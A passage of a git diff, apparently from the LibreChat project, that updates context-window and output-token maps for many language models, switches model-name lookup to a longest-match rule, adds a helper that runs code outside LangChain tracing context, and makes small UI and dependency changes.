'claude-opus-4': 200000, 'claude-opus-4-5': 200000, + 'claude-sonnet-4': 1000000, + 'claude-sonnet-4-6': 1000000, + 'claude-opus-4-6': 1000000, }; const deepseekModels = { deepseek: 128000, 'deepseek-chat': 128000, - 'deepseek-reasoner': 128000, - 'deepseek-r1': 128000, 'deepseek-v3': 128000, 'deepseek.r1': 128000, + 'deepseek-r1': 128000, + 'deepseek-reasoner': 128000, +}; + +const moonshotModels = { + // moonshot-v1 series (older) + moonshot: 131072, + 'moonshot-v1': 131072, + 'moonshot-v1-auto': 131072, + 'moonshot-v1-8k': 8192, + 'moonshot-v1-8k-vision': 8192, + 'moonshot-v1-8k-vision-preview': 8192, + 'moonshot-v1-32k': 32768, + 'moonshot-v1-32k-vision': 32768, + 'moonshot-v1-32k-vision-preview': 32768, + 'moonshot-v1-128k': 131072, + 'moonshot-v1-128k-vision': 131072, + 'moonshot-v1-128k-vision-preview': 131072, + // kimi series + kimi: 262144, + 'kimi-latest': 128000, + 'kimi-k2-0711': 131072, + 'kimi-k2-0711-preview': 131072, + 'kimi-k2-0905': 262144, + 'kimi-k2-0905-preview': 262144, + 'kimi-k2': 262144, + 'kimi-k2-turbo': 262144, + 'kimi-k2-turbo-preview': 262144, + 'kimi-k2-thinking': 262144, + 'kimi-k2-thinking-turbo': 262144, + 'kimi-k2.5': 262144, + // Bedrock moonshot models + 'moonshot.kimi-k2-0711': 131072, + 'moonshot.kimi': 262144, + 'moonshot.kimi-k2': 262144, + 'moonshot.kimi-k2-thinking': 262144, + 'moonshotai.kimi': 262144, + 'moonshot.kimi-k2.5': 262144, + 'moonshotai.kimi-k2.5': 262144, }; const metaModels = { - // Basic patterns - llama3: 8000, + // Llama 2 (oldest) llama2: 4000, - 'llama-3': 8000, 'llama-2': 4000, - - // llama3.x pattern + 'llama2-13b': 4000, + 'llama2-70b': 4000, + 'llama2:70b': 4000, + // Llama 3 base + llama3: 8000, + 'llama-3': 8000, + 'llama3-8b': 8000, + 'llama3-70b': 8000, + 'llama3:8b': 8000, + 'llama3:70b': 8000, + // Llama 3.1 'llama3.1': 127500, - 'llama3.2': 127500, - 'llama3.3': 127500, - - // llama3-x pattern 'llama3-1': 127500, - 'llama3-2': 127500, - 'llama3-3': 127500, - - // llama-3.x pattern 'llama-3.1': 127500, - 'llama-3.2': 127500, - 'llama-3.3': 127500, - - // llama3.x:Nb pattern - 'llama3.1:405b': 127500, - 'llama3.1:70b': 127500, 'llama3.1:8b': 127500, + 'llama3.1:70b': 127500, + 'llama3.1:405b': 127500, + 'llama3-1-8b': 127500, + 'llama3-1-70b': 127500, + 'llama3-1-405b': 127500, + 'llama-3.1-8b': 127500, + 'llama-3.1-70b': 127500, + 'llama-3.1-405b': 127500, + // Llama 3.2 + 'llama3.2': 127500, + 'llama3-2': 127500, + 'llama-3.2': 127500, 'llama3.2:1b': 127500, 'llama3.2:3b': 127500, 'llama3.2:11b': 127500, 'llama3.2:90b': 127500, - 'llama3.3:70b': 127500, - - // llama3-x-Nb pattern - 'llama3-1-405b': 127500, - 'llama3-1-70b': 127500, - 'llama3-1-8b': 127500, 'llama3-2-1b': 127500, 'llama3-2-3b': 127500, 'llama3-2-11b': 127500, 'llama3-2-90b': 127500, - 'llama3-3-70b': 127500, - - // llama-3.x-Nb pattern - 'llama-3.1-405b': 127500, - 'llama-3.1-70b': 127500, - 'llama-3.1-8b': 127500, 'llama-3.2-1b': 127500, 'llama-3.2-3b': 127500, 'llama-3.2-11b': 127500, 'llama-3.2-90b': 127500, + // Llama 3.3 (newest) + 'llama3.3': 127500, + 'llama3-3': 127500, + 'llama-3.3': 127500, + 'llama3.3:70b': 127500, + 'llama3-3-70b': 127500, 'llama-3.3-70b': 127500, - - // Original llama2/3 patterns - 'llama3-70b': 8000, - 'llama3-8b': 8000, - 'llama2-70b': 4000, - 'llama2-13b': 4000, - 'llama3:70b': 8000, - 'llama3:8b': 8000, - 'llama2:70b': 4000, }; const qwenModels = { qwen: 32000, 'qwen2.5': 32000, - 'qwen-turbo': 1000000, - 'qwen-plus': 131000, 'qwen-max': 32000, + 'qwen-plus': 131000, + 'qwen-turbo': 1000000, 'qwq-32b': 32000, - // Qwen3 models - qwen3: 40960, // Qwen3 base pattern (using qwen3-4b context) - 'qwen3-8b': 128000, + // Qwen3 models (newest) + qwen3: 40960, 'qwen3-14b': 40960, 'qwen3-30b-a3b': 40960, 'qwen3-32b': 40960, 'qwen3-235b-a22b': 40960, - // Qwen3 VL (Vision-Language) models + 'qwen3-8b': 128000, + 'qwen3-vl-235b-a22b': 131072, 'qwen3-vl-8b-thinking': 256000, + 'qwen3-max': 256000, 'qwen3-vl-8b-instruct': 262144, 'qwen3-vl-30b-a3b': 262144, - 'qwen3-vl-235b-a22b': 131072, - // Qwen3 specialized models - 'qwen3-max': 256000, 'qwen3-coder': 262144, 'qwen3-coder-30b-a3b': 262144, 'qwen3-coder-plus': 128000, @@ -243,14 +285,21 @@ const amazonModels = { 'nova-premier': 995000, // -5000 from max }; +const openAIBedrockModels = { + 'openai.gpt-oss-20b': 128000, + 'openai.gpt-oss-120b': 128000, +}; + const bedrockModels = { - ...anthropicModels, ...mistralModels, ...cohereModels, ...deepseekModels, + ...moonshotModels, ...metaModels, ...ai21Models, ...amazonModels, + ...openAIBedrockModels, + ...anthropicModels, }; const xAIModels = { @@ -267,26 +316,13 @@ const xAIModels = { 'grok-3-fast': 131072, 'grok-3-mini': 131072, 'grok-3-mini-fast': 131072, + 'grok-code-fast': 256000, // 256K context 'grok-4': 256000, // 256K context 'grok-4-fast': 2000000, // 2M context 'grok-4-1-fast': 2000000, // 2M context (covers reasoning & non-reasoning variants) - 'grok-code-fast': 256000, // 256K context }; const aggregateModels = { - ...openAIModels, - ...googleModels, - ...bedrockModels, - ...xAIModels, - ...qwenModels, - // misc. - kimi: 131000, - // GPT-OSS - 'gpt-oss': 131000, - 'gpt-oss:20b': 131000, - 'gpt-oss-20b': 131000, - 'gpt-oss:120b': 131000, - 'gpt-oss-120b': 131000, // GLM models (Zhipu AI) glm4: 128000, 'glm-4': 128000, @@ -295,6 +331,18 @@ const aggregateModels = { 'glm-4.5-air': 131000, 'glm-4.5v': 66000, 'glm-4.6': 200000, + // GPT-OSS + 'gpt-oss': 131000, + 'gpt-oss:20b': 131000, + 'gpt-oss-20b': 131000, + 'gpt-oss:120b': 131000, + 'gpt-oss-120b': 131000, + ...qwenModels, + ...xAIModels, + ...googleModels, + ...bedrockModels, + // OpenAI last — reverse iteration checks last-spread keys first for same-length ties + ...openAIModels, }; export const maxTokensMap = { @@ -314,9 +362,13 @@ export const modelMaxOutputs = { 'gpt-5': 128000, 'gpt-5.1': 128000, 'gpt-5.2': 128000, + 'gpt-5.3': 128000, + 'gpt-5.4': 128000, + 'gpt-5.4-pro': 128000, 'gpt-5-mini': 128000, 'gpt-5-nano': 128000, 'gpt-5-pro': 128000, + 'gpt-5.2-pro': 128000, 'gpt-oss-20b': 131000, 'gpt-oss-120b': 131000, system_default: 32000, @@ -329,8 +381,10 @@ const anthropicMaxOutputs = { 'claude-3-opus': 4096, 'claude-haiku-4-5': 64000, 'claude-sonnet-4': 64000, + 'claude-sonnet-4-6': 64000, 'claude-opus-4': 32000, 'claude-opus-4-5': 64000, + 'claude-opus-4-6': 128000, 'claude-3.5-sonnet': 8192, 'claude-3-5-sonnet': 8192, 'claude-3.7-sonnet': 128000, @@ -354,26 +408,28 @@ export const maxOutputTokensMap = { [EModelEndpoint.custom]: { ...modelMaxOutputs, ...deepseekMaxOutputs }, }; -/** - * Finds the first matching pattern in the tokens map. - * @param {string} modelName - * @param {Record | EndpointTokenConfig} tokensMap - * @returns {string|null} - */ +/** Finds the longest matching key in the tokens map via substring match. */ export function findMatchingPattern( modelName: string, tokensMap: Record | EndpointTokenConfig, ): string | null { const keys = Object.keys(tokensMap); const lowerModelName = modelName.toLowerCase(); + let bestMatch: string | null = null; + let bestLength = 0; for (let i = keys.length - 1; i >= 0; i--) { - const modelKey = keys[i]; - if (lowerModelName.includes(modelKey)) { - return modelKey; + const key = keys[i]; + const lowerKey = key.toLowerCase(); + if (lowerKey.length > bestLength && lowerModelName.includes(lowerKey)) { + if (lowerKey.length === lowerModelName.length) { + return key; + } + bestMatch = key; + bestLength = lowerKey.length; } } - return null; + return bestMatch; } /** @@ -537,42 +593,3 @@ export function processModelData(input: z.infer): EndpointTo return tokenConfig; } - -export const tiktokenModels = new Set([ - 'text-davinci-003', - 'text-davinci-002', - 'text-davinci-001', - 'text-curie-001', - 'text-babbage-001', - 'text-ada-001', - 'davinci', - 'curie', - 'babbage', - 'ada', - 'code-davinci-002', - 'code-davinci-001', - 'code-cushman-002', - 'code-cushman-001', - 'davinci-codex', - 'cushman-codex', - 'text-davinci-edit-001', - 'code-davinci-edit-001', - 'text-embedding-ada-002', - 'text-similarity-davinci-001', - 'text-similarity-curie-001', - 'text-similarity-babbage-001', - 'text-similarity-ada-001', - 'text-search-davinci-doc-001', - 'text-search-curie-doc-001', - 'text-search-babbage-doc-001', - 'text-search-ada-doc-001', - 'code-search-babbage-code-001', - 'code-search-ada-code-001', - 'gpt2', - 'gpt-4', - 'gpt-4-0314', - 'gpt-4-32k', - 'gpt-4-32k-0314', - 'gpt-3.5-turbo', - 'gpt-3.5-turbo-0301', -]); diff --git a/packages/api/src/utils/tracing.ts b/packages/api/src/utils/tracing.ts new file mode 100644 index 0000000000..6a82caf092 --- /dev/null +++ b/packages/api/src/utils/tracing.ts @@ -0,0 +1,31 @@ +import { logger } from '@librechat/data-schemas'; +import { AsyncLocalStorage } from 'node:async_hooks'; +import { isEnabled } from '~/utils/common'; + +/** @see https://github.com/langchain-ai/langchainjs — @langchain/core RunTree ALS */ +const TRACING_ALS_KEY = Symbol.for('ls:tracing_async_local_storage'); + +let warnedMissing = false; + +/** + * Runs `fn` outside the LangGraph/LangSmith tracing AsyncLocalStorage context + * so I/O handles (child processes, sockets, timers) created during `fn` + * do not permanently retain the RunTree → graph config → message data chain. + * + * Relies on the private symbol `ls:tracing_async_local_storage` from `@langchain/core`. + * If the symbol is absent, falls back to calling `fn()` directly. + */ +export function runOutsideTracing(fn: () => T): T { + const storage = (globalThis as typeof globalThis & Record>)[ + TRACING_ALS_KEY + ]; + if (!storage && !warnedMissing && isEnabled(process.env.LANGCHAIN_TRACING_V2)) { + warnedMissing = true; + logger.warn( + '[runOutsideTracing] LANGCHAIN_TRACING_V2 is set but ALS not found — ' + + 'runOutsideTracing will be a no-op. ' + + 'Verify @langchain/core version still uses Symbol.for("ls:tracing_async_local_storage").', + ); + } + return storage ? storage.run(undefined as unknown, fn) : fn(); +} diff --git a/packages/client/jest.config.js b/packages/client/jest.config.js index bb8a22dcc9..23822aa097 100644 --- a/packages/client/jest.config.js +++ b/packages/client/jest.config.js @@ -16,6 +16,7 @@ export default { // lines: 57, // }, // }, + maxWorkers: '50%', restoreMocks: true, testTimeout: 15000, // React component testing requires jsdom environment diff --git a/packages/client/package.json b/packages/client/package.json index faf325f88d..13d1a4a8cc 100644 --- a/packages/client/package.json +++ b/packages/client/package.json @@ -1,6 +1,6 @@ { "name": "@librechat/client", - "version": "0.4.51", + "version": "0.4.54", "description": "React components for LibreChat", "repository": { "type": "git", @@ -104,8 +104,8 @@ "react": "^18.2.0", "react-dom": "^18.2.0", "react-i18next": "^15.4.0", - "rimraf": "^6.1.2", - "rollup": "^4.0.0", + "rimraf": "^6.1.3", + "rollup": "^4.34.9", "rollup-plugin-peer-deps-external": "^2.2.4", "rollup-plugin-postcss": "^4.0.2", "rollup-plugin-typescript2": "^0.35.0", diff --git a/packages/client/src/components/DropdownMenu.tsx b/packages/client/src/components/DropdownMenu.tsx index 488ab18f6e..013301bc6a 100644 --- a/packages/client/src/components/DropdownMenu.tsx +++ b/packages/client/src/components/DropdownMenu.tsx @@ -30,7 +30,7 @@ function DropdownMenuContent({ data-slot="dropdown-menu-content" sideOffset={sideOffset} className={cn( - 'text-popover-foreground max-h-(--radix-dropdown-menu-content-available-height) origin-(--radix-dropdown-menu-content-transform-origin) z-40 min-w-[8rem] overflow-y-auto overflow-x-hidden rounded-md border border-border-light bg-surface-secondary p-1 shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2', + 'max-h-(--radix-dropdown-menu-content-available-height) origin-(--radix-dropdown-menu-content-transform-origin) z-40 min-w-[8rem] overflow-y-auto overflow-x-hidden rounded-md border border-border-medium bg-surface-primary p-1 text-text-primary shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2', className, )} {...props} @@ -198,7 +198,7 @@ function DropdownMenuSubContent({ {}, selectText: 'Confirm' }} + * @example + * // Custom component + * selection={} + */ + selection?: SelectionProps | ReactNode; className?: string; overlayClassName?: string; headerClassName?: string; @@ -49,14 +75,39 @@ const OGDialogTemplate = forwardRef((props: DialogTemplateProps, ref: Ref + {isLoading === true ? ( + + ) : ( + (selectText as React.JSX.Element) + )} + + ); + } else if (selection) { + selectionContent = selection; + } + return (
{main != null ? main : null}
-
- {leftButtons != null ? ( -
- {leftButtons} -
- ) : null} -
-
- {showCancelButton && ( - - - - )} - {buttons != null ? buttons : null} - {selection ? ( - - {isLoading === true ? ( - - ) : ( - (selectText as React.JSX.Element) - )} - - ) : null} -
+ {leftButtons != null ? ( +
{leftButtons}
+ ) : null} + {showCancelButton && ( + + + + )} + {buttons != null ? buttons : null} + {selectionContent}
); diff --git a/packages/client/src/components/Radio.tsx b/packages/client/src/components/Radio.tsx index b4c9c21259..2f52387981 100644 --- a/packages/client/src/components/Radio.tsx +++ b/packages/client/src/components/Radio.tsx @@ -14,6 +14,7 @@ interface RadioProps { disabled?: boolean; className?: string; fullWidth?: boolean; + 'aria-labelledby'?: string; } const Radio = memo(function Radio({ @@ -23,6 +24,7 @@ const Radio = memo(function Radio({ disabled = false, className = '', fullWidth = false, + 'aria-labelledby': ariaLabelledBy, }: RadioProps) { const localize = useLocalize(); const buttonRefs = useRef<(HTMLButtonElement | null)[]>([]); @@ -79,6 +81,7 @@ const Radio = memo(function Radio({
{localize('com_ui_no_options')} @@ -93,6 +96,7 @@ const Radio = memo(function Radio({
{selectedIndex >= 0 && isMounted && (
= { system: